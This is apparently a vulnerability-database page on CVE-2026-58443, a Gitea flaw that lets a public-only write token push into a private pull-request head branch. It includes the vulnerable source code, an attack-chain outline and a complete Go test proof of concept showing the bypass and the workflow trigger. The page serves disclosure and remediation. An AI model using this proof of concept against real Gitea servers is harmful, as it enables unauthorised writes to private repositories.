Skip to main content

Gitea CVE-2026-58443

CRITICAL
Incorrect Authorization (CWE-863)
2026-07-21 https://github.com/go-gitea/gitea GHSA-xxjv-752h-3vp2
9.6
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.6 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
vuln.today AI
7.7 HIGH

Token-authenticated so PR:L; network API with low complexity; scope change because the token's public-only authority is bypassed into a separate private repo; impact is integrity-only, so C:N and A:N (vendor's A:H is unsubstantiated).

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 21, 2026 - 21:05 vuln.today
Analysis Generated
Jul 21, 2026 - 21:05 vuln.today
CVE Published
Jul 21, 2026 - 20:38 github-advisory
CRITICAL 9.6

DescriptionGitHub Advisory

Summary

Gitea allows a public-only,write:repository token to update a private pull request head branch through a public base repository route.

The vulnerable endpoint is:

text
POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update

Gitea checks the token's public-only restriction against the route repository, which is the public base repository. UpdatePullRequest() then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.

As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.

Details

The pull request API routes are attached under a repository route group. The public-only check applies to ctx.Repo.Repository, the route/base repository.

go
// routers/api/v1/api.go:1358-1394
					m.Group("/pulls", func() {
						m.Combo("").Get(repo.ListPullRequests).
							Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)
						m.Get("/pinned", repo.ListPinnedPullRequests)
						m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
						m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
						m.Group("/{index}", func() {
							m.Combo("").Get(repo.GetPullRequest).
								Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)
							m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)
							m.Post("/update", reqToken(), repo.UpdatePullRequest)
							m.Get("/commits", repo.GetPullRequestCommits)
							m.Get("/files", repo.GetPullRequestFiles)
							m.Combo("/merge").Get(repo.IsPullRequestMerged).
								Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).
								Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
							m.Group("/reviews", func() {
								m.Combo("").
									Get(repo.ListPullReviews).
									Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)
								m.Group("/{id}", func() {
									m.Combo("").
										Get(repo.GetPullReview).
										Delete(reqToken(), repo.DeletePullReview).
										Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
									m.Combo("/comments").
										Get(repo.GetPullReviewComments)
									m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)
									m.Post("/undismissals", repo.UnDismissPullReview)
								})
							})
							m.Combo("/requested_reviewers", reqToken()).
								Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).
								Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
						})
						m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
					}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())
go
// routers/api/v1/api.go:1465-1466
				}, repoAssignment(), checkTokenPublicOnly())
			}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))

For POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update, the route repository can be public, so a public-only,write:repository token passes the route-level public-only check.

The update handler then checks whether the caller can update the PR head branch:

go
// routers/api/v1/repo/pull.go:1220-1270
	pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
	if err != nil {
		if issues_model.IsErrPullRequestNotExist(err) {
			ctx.APIErrorNotFound()
		} else {
			ctx.APIErrorInternal(err)
		}
		return
	}

	if pr.HasMerged {
		ctx.APIError(http.StatusUnprocessableEntity, err)
		return
	}

	if err = pr.LoadIssue(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	if pr.Issue.IsClosed {
		ctx.APIError(http.StatusUnprocessableEntity, err)
		return
	}

	if err = pr.LoadBaseRepo(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}
	if err = pr.LoadHeadRepo(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	rebase := ctx.FormString("style") == "rebase"

allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
	if err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {
		ctx.Status(http.StatusForbidden)
		return
	}

	// default merge commit message
	message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)

The service checks the head repository using the user's normal repository permission:

go
// services/pull/update.go:136-164
// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections
// update PR means send new commits to PR head branch from base branch
func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {
	if user == nil {
		return false, false, nil
	}
	if err := pull.LoadBaseRepo(ctx); err != nil {
		return false, false, err
	}
	if err := pull.LoadHeadRepo(ctx); err != nil {
		return false, false, err
	}

	// 1. check whether pull request enabled.
	prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
	if repo_model.IsErrUnitTypeNotExist(err) {
		return false, false, nil // the PR unit is disabled in base repo means no update allowed
	} else if err != nil {
		return false, false, fmt.Errorf("get base repo unit: %v", err)
	}

	// 2. only support Github style pull request
	if pull.Flow == issues_model.PullRequestFlowAGit {
		return false, false, nil
	}

	// 3. check user push permission on head repository
pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)
	if err != nil {
		return false, false, err
	}

That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate pull.HeadRepo.

If allowed, the update service performs a merge/rebase update and pushes into the head repository:

go
// services/pull/update.go:89-100
	reversePR := &issues_model.PullRequest{
		BaseRepoID: pr.HeadRepoID,
		BaseRepo:   pr.HeadRepo,
		BaseBranch: pr.HeadBranch,

		HeadRepoID: pr.BaseRepoID,
		HeadRepo:   pr.BaseRepo,
		HeadBranch: pr.BaseBranch,
	}

_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)
	return err

The result is a server-side private repository write performed through a public route.

PoC

go
import (
	"encoding/base64"
	"fmt"
	"net/http"
	"net/url"
	"testing"
	"time"

	actions_model "code.gitea.io/gitea/models/actions"
	auth_model "code.gitea.io/gitea/models/auth"
	repo_model "code.gitea.io/gitea/models/repo"
	unit_model "code.gitea.io/gitea/models/unit"
	"code.gitea.io/gitea/models/unittest"
	user_model "code.gitea.io/gitea/models/user"
	"code.gitea.io/gitea/modules/gitrepo"
	api "code.gitea.io/gitea/modules/structs"
	webhook_module "code.gitea.io/gitea/modules/webhook"
	repo_service "code.gitea.io/gitea/services/repository"

	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {
	onGiteaRun(t, func(t *testing.T, _ *url.URL) {
		doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})

		baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
			Name:          "public-pr-update-base",
			Description:   "public base repository for public-only PR update PoC",
			AutoInit:      true,
			Readme:        "Default",
			DefaultBranch: "main",
			IsPrivate:     false,
		})
		require.NoError(t, err)

		headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
			BaseRepo:     baseRepo,
			Name:         "private-pr-update-head",
			Description:  "private head repository for public-only PR update PoC",
			SingleBranch: baseRepo.DefaultBranch,
		})
		require.NoError(t, err)
		require.NotNil(t, headRepo)
		require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
			RepoID: headRepo.ID,
			Type:   unit_model.TypeActions,
		}}, nil))
		headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})

		headBranch := "private-head-update"
		testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
			OldBranch: baseRepo.DefaultBranch,
			NewBranch: headBranch,
		}, map[string]string{
			"private-head-marker.txt": "private head branch marker",
		})
		const workflowID = "private-push.yml"
		const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
		testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
			OldBranch: headBranch,
			NewBranch: headBranch,
		}, map[string]string{
			".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push
on:
  push:
    branches:
      - %s
jobs:
  private-head-job:
    runs-on: ubuntu-latest
    steps:
      - run: echo %s
`, headBranch, workflowSentinel),
		})

		require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
			ID:        headRepo.ID,
			IsPrivate: true,
		}, "is_private"))
		headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
		require.True(t, headRepo.IsPrivate)
		baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})

		session := loginUser(t, doer.Name)
		publicOnlyToken := getTokenForLoggedInUser(t, session,
			auth_model.AccessTokenScopePublicOnly,
			auth_model.AccessTokenScopeWriteRepository,
		)

		publicPath := "public-base-injected-into-private.txt"
		publicMarker := "FAULT-GITEA-062 public base content reached private head"
		createPublicBaseFile := api.CreateFileOptions{
			FileOptions: api.FileOptions{
				BranchName: baseRepo.DefaultBranch,
				Message:    "create public marker for private head update",
			},
			ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
		}
		req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusCreated)

		privatePath := "direct-private-write-should-fail.txt"
		directPrivateWrite := api.CreateFileOptions{
			FileOptions: api.FileOptions{
				BranchName: headBranch,
				Message:    "direct private write attempt",
			},
			ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
		}
		req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusNotFound)

		prPayload := map[string]string{
			"title": "faultline public-only private head update",
			"base":  baseRepo.DefaultBranch,
			"head":  fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
		}
		req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
			AddTokenAuth(publicOnlyToken)
		resp := MakeRequest(t, req, http.StatusCreated)

		var pr api.PullRequest
		DecodeJSON(t, resp, &pr)
		require.Equal(t, prPayload["title"], pr.Title)

		gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)
		require.NoError(t, err)
		defer gitRepo.Close()

		commit, err := gitRepo.GetBranchCommit(headBranch)
		require.NoError(t, err)
		_, err = commit.GetBlobByPath(publicPath)
		require.Error(t, err)

		req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusOK)
		assert.Eventually(t, func() bool {
			return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns
		}, 5*time.Second, 50*time.Millisecond)

		actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
			RepoID:     headRepo.ID,
			WorkflowID: workflowID,
		}, unittest.OrderBy("id DESC"))
		assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)
		assert.Equal(t, "push", actionRun.TriggerEvent)
		assert.Equal(t, doer.ID, actionRun.TriggerUserID)
		assert.NotEmpty(t, actionRun.CommitSHA)

		job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
		assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)

		commit, err = gitRepo.GetBranchCommit(headBranch)
		require.NoError(t, err)
		blob, err := commit.GetBlobByPath(publicPath)
		require.NoError(t, err)
		content, err := blob.GetBlobContent(1024)
		require.NoError(t, err)
		assert.Equal(t, publicMarker, content)
	})
}

Impact

The attacker needs a valid public-only,write:repository token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.

Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.

When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching push workflow. The PoC confirms an ActionRun and ActionRunJob are created for the private head repository with the attack-triggered push event.

AnalysisAI

Broken authorization in Gitea before 1.27.0 lets a token scoped as public-only,write:repository push commits into a PRIVATE repository via the PR head-branch update endpoint, defeating the public-only restriction the token was granted. An attacker holding such a token (for an account with normal write access to the private head branch) uses the public base repo's route POST /api/v1/repos/{owner}/{repo}/pulls/{index}/update to force public base commits into the private head branch - a write the same token is denied when attempted directly. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain public-only,write:repository token
Delivery
Create public base repo and PR to private head branch
Exploit
POST /pulls/{index}/update via public base route
Execution
Gitea authorizes head repo with account RBAC only
Persist
Server pushes public commits into private head branch
Impact
Push triggers private repo Actions workflow

Vulnerability AssessmentAI

Exploitation Requires a valid public-only,write:repository token whose underlying user account already has normal push/write permission on the PRIVATE pull-request head branch; the token itself cannot write to the private repo directly (direct content writes return 404). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment Signals are mostly consistent toward a genuinely high-priority integrity issue but with meaningful preconditions. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker obtains a public-only,write:repository token belonging to a developer who has write access to a private head repository (e.g. a leaked CI token believed 'safe' because it is public-only). …
Remediation Vendor-released patch: 1.27.0 - upgrade Gitea to 1.27.0 or later per the release at https://github.com/go-gitea/gitea/releases/tag/v1.27.0 and the advisory GHSA-xxjv-752h-3vp2. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all Gitea deployments and document current version numbers and deployed tokens, particularly any with public-read-only or limited scopes. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Gitea

View all
CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2020-13246 HIGH POC
7.5 May 20

An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita

CVE-2022-0905 HIGH POC
7.1 Mar 10

Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab

CVE-2022-1058 MEDIUM POC
6.1 Mar 24

Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5. Rated medium severity (CVSS 6.1), this vulne

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-27780 CRITICAL
9.8 Jul 03

Branch-protection bypass in Gitea's self-hosted Git server (all versions before 1.26.0) allows a user with push access t

CVE-2026-26292 CRITICAL
9.8 Jul 03

Migration transport protections in Gitea are bypassed for Git LFS operations, affecting all self-hosted instances before

Share

CVE-2026-58443 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy